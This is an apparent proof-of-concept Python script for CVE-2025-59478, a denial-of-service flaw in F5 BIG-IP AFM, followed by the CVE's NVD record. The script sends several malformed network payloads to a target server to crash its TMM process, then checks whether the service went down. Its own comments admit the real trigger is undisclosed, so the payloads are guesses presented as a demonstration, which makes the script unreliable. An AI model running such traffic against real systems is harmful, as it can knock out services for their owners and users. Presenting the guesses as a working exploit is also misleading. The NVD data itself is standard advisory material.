CVE-2025-59478

# CVE-2025-59478 PoC - F5 BIG-IP AFM DoS Protection TMM Termination # This PoC demonstrates how to trigger TMM termination via AFM DoS protection profile # Note: Specific trigger request details are undisclosed by F5 import socket import struct import ssl def craft_malicious_request(target_host, target_port=443): """ Craft a request designed to trigger the AFM DoS protection vulnerability. The exact trigger payload is undisclosed, but the attack pattern involves sending specific requests to a virtual server with AFM DoS protection enabled. """ # Attempt various malformed/protocol-abnormal requests that may trigger # the undisclosed code path in AFM DoS processing payloads = [ # Malformed HTTP/2 SETTINGS frame b'\x00\x00\x06\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x64', # Oversized HTTP header b'GET / HTTP/1.1\r\nHost: ' + b'A' * 65535 + b'\r\n\r\n', # Protocol anomaly - invalid chunked encoding b'POST / HTTP/1.1\r\nHost: target\r\nTransfer-Encoding: chunked\r\n\r\nFFFFFFFF\r\n', # TCP-level anomaly targeting DoS profile inspection b'\x00' * 1024, ] for payload in payloads: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(payload) response = sock.recv(4096) sock.close() except Exception as e: print(f"Connection error (may indicate TMM crash): {e}") return True def check_tmm_status(target_host, mgmt_port=8443): """Check if TMM process is still responding after attack.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect((target_host, mgmt_port)) sock.close() return "TMM appears to be running" except Exception: return "TMM may have terminated - service unavailable" if __name__ == "__main__": target = "<BIG-IP_VIRTUAL_SERVER_IP>" print(f"[*] Targeting F5 BIG-IP AFM at {target}") craft_malicious_request(target) status = check_tmm_status(target) print(f"[*] Status: {status}")

{"cve": {"id": "CVE-2025-59478", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:54.257", "lastModified": "2025-10-22T21:00:40.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a BIG-IP AFM denial-of-service (DoS) protection profile is configured on a virtual server, undisclosed requests can cause the Traffic Management Microkernel (TMM) process to terminate.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-824"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.1.0", "versionEndExcluding": "15.1.10.8", "matchCriteriaId": "6538FBFE-AE3F-41DC-BE48-8A2444DE1F39"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "19F0ED03-65CE-461B-97CE-ECBE2D290A5C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_firewall_manager:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "AA4C7292-62F1-4C37-BDA6-504D49CEE18E"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000152341", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}